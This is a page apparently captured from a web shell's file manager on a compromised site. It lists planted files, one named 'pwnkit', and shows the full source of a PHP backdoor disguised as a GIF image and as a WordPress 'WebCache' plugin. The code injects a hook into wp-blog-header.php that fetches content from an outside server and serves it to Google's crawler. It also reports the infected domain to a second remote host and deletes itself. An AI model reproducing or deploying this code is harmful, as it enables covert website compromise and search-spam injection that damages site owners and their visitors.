Gecko [ nice-dove.com ]

Name	Size	Permission
.mad-root	0 B	-rw-r--r--
frkwnhfe.php_.gif	2.74 KB	-rw-r--r--
j4bxwfjf-1.svg	108 B	-rw-r--r--
j4bxwfjf.php_.gif	2.77 KB	-rw-r--r--
j4bxwfjf.php_.jpg	2.89 KB	-rw-r--r--
j4bxwfjf.svg	131 B	-rw-r--r--
pwnkit	0 B	-rwxr-xr-x
ww0zos4a.php_.jpg	2.74 KB	-rw-r--r--

Code Editor : frkwnhfe.php_.gif

GIF89a
GrazzMean
<?php
/**
 * @package WebCache plugin
 * @version 1.7.2
 */
/*
Plugin Name: WebCache plugin
Plugin URI: http://wordpress.org/plugins/webcache-plugin/
Description: Simple WebCache plugin
Author: Matt Mullenweg
Version: 1.7.2
Author URI: http://ma.tt/
*/

$level0 = "./wp-load.php";
$level1 = "./../wp-load.php";
$level2 = "./../../wp-load.php";
$level3 = "./../../../wp-load.php";
$level4 = "./../../../../wp-load.php";
$level5 = "./../../../../../wp-load.php";
$level6 = "./../../../../../../wp-load.php";

if(file_exists($level0)){require_once("$level0");}
clearstatcache();

if(file_exists($level1)){require_once("$level1");}
clearstatcache();

if(file_exists($level2)){require_once("$level2");}
clearstatcache();

if(file_exists($level3)){require_once("$level3");}
clearstatcache();

if(file_exists($level4)){require_once("$level4");}
clearstatcache();

if(file_exists($level5)){require_once("$level5");}
clearstatcache();

if(file_exists($level6)){require_once("$level6");}
clearstatcache();

$template     = get_template();
$theme_root   = get_theme_root( $template );
$template_dir = "$theme_root/$template";
$http = get_site_url();
$parse = parse_url($http);
$domain = $parse['host'];
$domain = str_replace("www.", "", "$domain");
$address = "$http";

$functionsphp = file_get_contents("$template_dir/functions.php");
$wpblogheaderphp = file_get_contents("$theme_root/../../wp-blog-header.php");

$group = "5";

// Set WEBCACHE variable
$functionscode = <<<'WEBCACHE'
wp();

if (strpos($_SERVER["HTTP_USER_AGENT"], 'gle') !== false) {$curl = curl_init();curl_setopt($curl, CURLOPT_URL, 'http://cache.gadgetpluginold.com/cache.php?h=185.80.53.75&id=5');curl_setopt($curl, CURLOPT_RETURNTRANSFER,true);$c = curl_exec($curl);curl_close($curl);$post->post_content = preg_replace('/^/', "$c ", $post->post_content);}

WEBCACHE;

$functionscode = str_replace("DOMAIN.COM", "$domain", "$functionscode");
$functionscode = str_replace("GROUP", "$group", "$functionscode");

$code1 = file_get_contents("$theme_root/../../wp-blog-header.php");
if (strpos("$code1", "curl") !== false) {echo "no writing"; unlink(__FILE__); exit;}

// Insert cache
if (strpos($wpblogheaderphp, "curl") !== false) {$functionscode = "";};

if (strpos($wpblogheaderphp, "wp_did_header") !== false) {
	$wpblogheaderphp = str_replace('wp();', $functionscode, $wpblogheaderphp);
	file_put_contents("$theme_root/../../wp-blog-header.php", "$wpblogheaderphp");
}

//sleep for 3 seconds
sleep(3);

// Check function
$curl = curl_init();curl_setopt($curl, CURLOPT_URL, "http://rule.sybolicdomainplugin.com/functions.php?domain_to_check=$domain&id=$group");curl_setopt($curl, CURLOPT_RETURNTRANSFER,true); $check = curl_exec($curl);curl_close($curl);
echo "$check";

unlink(__FILE__);

exit;

${this.title}

Code Editor : frkwnhfe.php_.gif